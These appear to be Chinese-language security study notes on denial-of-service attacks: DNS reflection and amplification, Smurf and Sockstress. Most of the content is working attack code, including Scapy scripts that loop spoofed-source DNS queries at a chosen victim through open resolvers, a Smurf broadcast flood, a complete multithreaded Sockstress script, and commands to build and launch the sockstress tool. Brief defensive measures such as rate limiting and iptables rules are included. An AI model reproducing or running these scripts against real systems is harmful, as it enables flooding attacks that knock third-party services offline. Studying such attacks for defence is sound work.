DNS放大攻击
设置要使用的DNS服务器
nslookup
set q=ns
223.5.5.5
可能的限制
根据RFC1035中定义的DNS消息格式以及所能支持的内容长度,UDP包传输大小被限制为512个字节,超出的部分会被截断或丢弃或者使用TCP协议重传(端口仍为53)
https://www.rfc-editor.org/rfc/rfc1035.txt
突破上述限制,目的是为了扩充响应数据包大小的方式,这就是EDNS机制,具体的RFC2671中有提到扩展DNS机制,EDNS(Extension Mechanisms for DNS),并在其中推荐了一种传递包大小的EDNS0。在EDNS0中,扩展了DNS数据包的结构,增加了OPT RR字段。在此字段中包含了客户端能够处理的最大UDP报文大小信息。服务端在响应DNS请求时,解析并记录下客户端能够处理的最大UDP报文大小,并根据该大小生成响应的报文
https://www.rfc-editor.org/rfc/rfc2671.txt
dig @10.0.2.6 +bufsize=4096 +noanswer qq.com txt
dig any qq.com @202.101.172.35
实际环境场景
实际攻击中可以通过配置DNS服务器使UDP传输大小扩充至4096个字节,也就是放大倍数可以为60左右。ENDS机制的引入使DNS放大攻击所需倍数得到了保证。
如果只有前两个条件而我们不能找到大量反射源(大量开放查询服务的第三方DNS服务器),攻击仍很难立竿见影。这主要是因为如果反射源很少的话,受攻击方就可以通过黑名单机制屏蔽攻击源,丢弃攻击数据
攻击的条件:
1.能够伪造攻击源IP地址
2.选中的DNS服务器支持EDNS扩展机制,突破512的限制
3.需要一份开放了查询服务的第三方DNS服务器列表,通过端口扫描获得
4.DNS服务器需要开启递归查询功能
防御措施:
加固反射源
1.对开放查询服务的DNS服务器作出限制,只对可信任的区域主机提供解析服务
2.强制某些DNS查询类型(例如:txt,any)使用tcp传输,并对单个源IP的查询速率做限制
加固被攻击的目标
因为DNS放大攻击属于流量型攻击的一种,可以使用Anycast技术对攻击流量进行稀释和清洗
使用nmap确定一台服务器是否支持递归查询
nmap -sU -p53 --script=dns-recursion 223.5.5.5
DNS反射放大攻击
!/usr/bin/python
from scapy.all import *
targetIP = raw_input("Please enter the IP address for the target: ")
dnsIP = raw_input("Please enter the IP address for the misconfigured DNS: ")
while True:
send(IP(dst=dnsIP,src=targetIP)/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname="www.baidu.com")),verbose=0)
!/usr/bin/env python
coding:utf-8
from scapy import *
from scapy.all import *
a = IP(dst='223.5.5.5', src='10.0.1.82') # 10.0.1.87 为伪造的源ip
b = UDP(dport=53)
c = DNS(id=1, qr=0, opcode=0, tc=0, rd=1, qdcount=1, ancount=0,nscount=0, arcount=0)
c.qd = DNSQR(qname='www.qq.com', qtype=1, qclass=1)
p = a/b/c
send(p)
或者
!/usr/bin/env python
coding:utf-8
from scapy import *
from scapy.all import *
a = IP(dst='10.0.2.6', src='10.0.1.82') # 10.0.1.87 为伪造的源ip 10.0.2.6是自建的DNS服务器
b = UDP()
c = DNS(id=1, rd=1, qdcount=1)
c.qd = DNSQR(qname='www.baidu.com')
p = a/b/c
i = 0
while i < 5:
send(p)
i = i + 1
print("dns attack finished!")
简单搭建dns服务器
https://simpledns.plus/download
dns反射攻击测试,使用scapy交互式构造数据包
i=IP()
i.display()
[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= hopopt
chksum= None
src= 127.0.0.1
dst= 127.0.0.1
\options\
i.dst="223.5.5.5"
i.display()
[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= hopopt
chksum= None
src= 10.0.1.92
dst= 223.5.5.5
\options\
u=UDP()
u.display()
[ UDP ]###
sport= domain
dport= domain
len= None
chksum= None
d=DNS()
d.display()
[ DNS ]###
id= 0
qr= 0
opcode= QUERY
aa= 0
tc= 0
rd= 1
ra= 0
z= 0
ad= 0
cd= 0
rcode= ok
qdcount= 0
ancount= 0
nscount= 0
arcount= 0
qd= None
an= None
ns= None
ar= None
d.rd=1
d.qdcount=1
d.display()
[ DNS ]###
id= 0
qr= 0
opcode= QUERY
aa= 0
tc= 0
rd= 1
ra= 0
z= 0
ad= 0
cd= 0
rcode= ok
qdcount= 1
ancount= 0
nscount= 0
arcount= 0
qd= None
an= None
ns= None
ar= None
q=DNSQR()
q.qname="qq.com"
q.qtype=255
q.display()
[ DNS Question Record ]###
qname= 'qq.com'
qtype= ALL
qclass= IN
d.qd=q
r=(i/u/d)
d.display()
[ DNS ]###
id= 0
qr= 0
opcode= QUERY
aa= 0
tc= 0
rd= 1
ra= 0
z= 0
ad= 0
cd= 0
rcode= ok
qdcount= 1
ancount= 0
nscount= 0
arcount= 0
\qd
|###[ DNS Question Record ]###
| qname= 'qq.com'
| qtype= ALL
| qclass= IN
an= None
ns= None
ar= None
sr1(r)
Begin emission:
Finished sending 1 packets.
....*
Received 5 packets, got 1 answers, remaining 0 packets
an= >>>>>>>>>> ns=None ar=None |>>>
抓包
tcpdump -i any port 53 -vv
互联网上有两种DNS服务器:
权威DNS服务器、递归DNS服务器;
权威服务器是DNS记录的真实存放地点,也是DNS攻击的主要目标,大型企业通常自己维护权威服务器,接受来自互联网的查询请求并响应。
递归DNS服务器可以理解为缓存DNS服务器,通常直接接受客户端的查询请求,并从缓存中查找反馈结果,如果缓存中没有查询结果,递归服务器就会按着DNS的层级架构逐级找到权威服务器,并从中查询结果
DNS反射攻击
攻击者通过伪造地址,假冒被攻击目标服务器的身份,向互联网上大量开放递归查询的DNS服务器发出请求,通过这些服务器的响应对攻击目标实现DoS和DDoS攻击;分布式的反射攻击也叫DrDoS攻击;很多DNS服务器为提供DNS查询的安全性使用了DNSSEC技术,对查询结果进行加密传输,但具有讽刺意味的是,对此类服务器反射攻击的效果更好,因为加密需要更多消耗服务器的性能和网络带宽。
简单搭建DNS服务器
https://simpledns.plus/download
EGTQQARGAIPMAUTZ
DNS攻击的5种方式
1.僵尸网络IP直接进行攻击
攻击形式:直接使用僵尸网络,不伪造源IP地址,在同一段时间内发送海量的DNS请求到目标域名服务器
缓解措施:通过使用基于硬件的网络设备或云服务解决方案可以过滤或限制网络流量,这种不会伪造源IP地址,直接封锁IP地址即可
2.IP欺骗
攻击形式:DNS默认依赖UDP协议,而由于UDP自身的特性导致,只需伪造数据包的 IP 地址,就可以轻易将源IP换成随机IP,在这种情况下,拦截 IP 地址是没有用的
缓解措施:遇到此种情况,可以使用大量的DNS缓存服务器来吸收大部分DNS流量,但是攻击者会进行预测判断会发送大量不存在的域名,致使DNS服务器本地缓存没有记录,不得不进行递归查询,所以此时我们还需要在DNS缓存服务器上限制来自不存在域名的DNS请求转发率,如果传入请求的总数量超过阈值,则要求客户端从 UDP 切换到 TCP。切换后,由于 TCP 需要三次握手,则可以避免源 IP 欺骗
3.反射DDoS攻击
攻击形式:攻击者不仅会欺骗源IP,连目的地IP也不会放过,来自正常DNS解析器的DNS回答会被发回给受害者(被欺骗的IP),而不是原攻击者的 IP,从而导致受害者受到DDoS攻击
缓解措施:限制同一IP地址的DNS请求/应答速率,因为DNS解析器会使用缓存,所以理论上来讲,请求转发率会十分低,一定的频率限制应当会有效
参考:
https://mp.weixin.qq.com/s/LuGn5NoMl5xthu-ZqYChnA
https://mp.weixin.qq.com/s/aEsyiX4pmJdBTtRV4jvC9g
https://github.com/ahhh/Reverse_DNS_Shell
https://github.com/bugscanteam/dnslog/
https://github.com/Wyc0/DNSLog
https://paper.seebug.org/60/
https://mp.weixin.qq.com/s/Urx18pdE0WeOGfnDdm9YMg
https://mp.weixin.qq.com/s/XGM5Q7KbpbV8XuY0rlG6qw
https://www.infoq.cn/article/99agzwzlewtvqjvgrtth
Smurf攻击
技术原理:利用icmp包,伪造源IP发广播包,广播局域网内的所有计算机回复广播包给伪造的IP,造成攻击对伪造IP的效果
对现在的操作系统几乎无效(不响应广播包)
Scapy
– i=IP()
– i.dst="1.1.1.255"
– p=ICMP()
– p.display()
– r=(i/p)
– send(IP(dst="1.1.1.255",src="1.1.1.2")/ICMP(),count=100,verbose=1)
参考:
https://www.shuzhiduo.com/A/Gkz1qQ16zR/
https://segmentfault.com/a/1190000020079901
https://www.cloudflare.com/zh-cn/learning/ddos/smurf-ddos-attack/
https://www.wangan.com/wikis/610
https://www.youtube.com/watch?v=zyZn_c54mgA
Sockstress攻击
python攻击测试代码
!/usr/bin/python
coding=utf-8
from scapy.all import*
from time import sleep
import thread
import random
import logging
import os
import signal
import sys
import signal
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
if len(sys.argv) != 4:
print "用法: ./sockstress.py [IP地址] [端口] [线程数]"
print "举例: ../sockstress.py 1.1.1.1 80 20 # 请确定被攻击端口处于开放状态"
sys.exit()
target = str(sys.argv[1])
dstport= int(sys.argv[2])
threads = int(sys.argv[3])
攻击函数
def sockstress(target,dstport) :
while 0 == 0:
try:
x = random.randint(0,65535)
response = sr1(IP(dst=target)/TCP(sport=x,dport=dstport,flags = 'S'),timeout=1,verbose=0)
send(IP(dst=target)/TCP(dport=dstport,sport=x,window=0,lags='A',ack=(response[TCP].seq + 1) )/'\x00\x00',verbose=0)
except:
pass
停止攻击函数
def shutdown(signal,frame):
print "正在修复 iptables 规则"
os.system('iptables -D OUTPUT -p tcp --tcp-flags RST RST -d '+ target +' -j DROP')
sys.exit()
添加iptables规则
os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d '+ target +' -j DROP')
signal.signal(signal.SIGINT, shutdown)
多线程攻击
print "\n攻击正在进行...按 Ctrl+C 停止攻击"
for x in range(0,threads):
thread.start_new_thread(sockstress, (target,dstport))
永远执行
while 0 == 0:
sleep(1)
下载攻击测试工具
git clone https://github.com/defuse/sockstress && cd sockstress/ && make
执行攻击
sudo iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 192.168.180.133 -j DROP
sudo ./sockstress 192.168.180.133:80 eth1 -p payloads/http -d 10
防御措施
iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --set
iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --update --seconds 30 --hitcount 10 -j DROP
参考:
https://0xfe.com.cn/post/36f1b3e1.html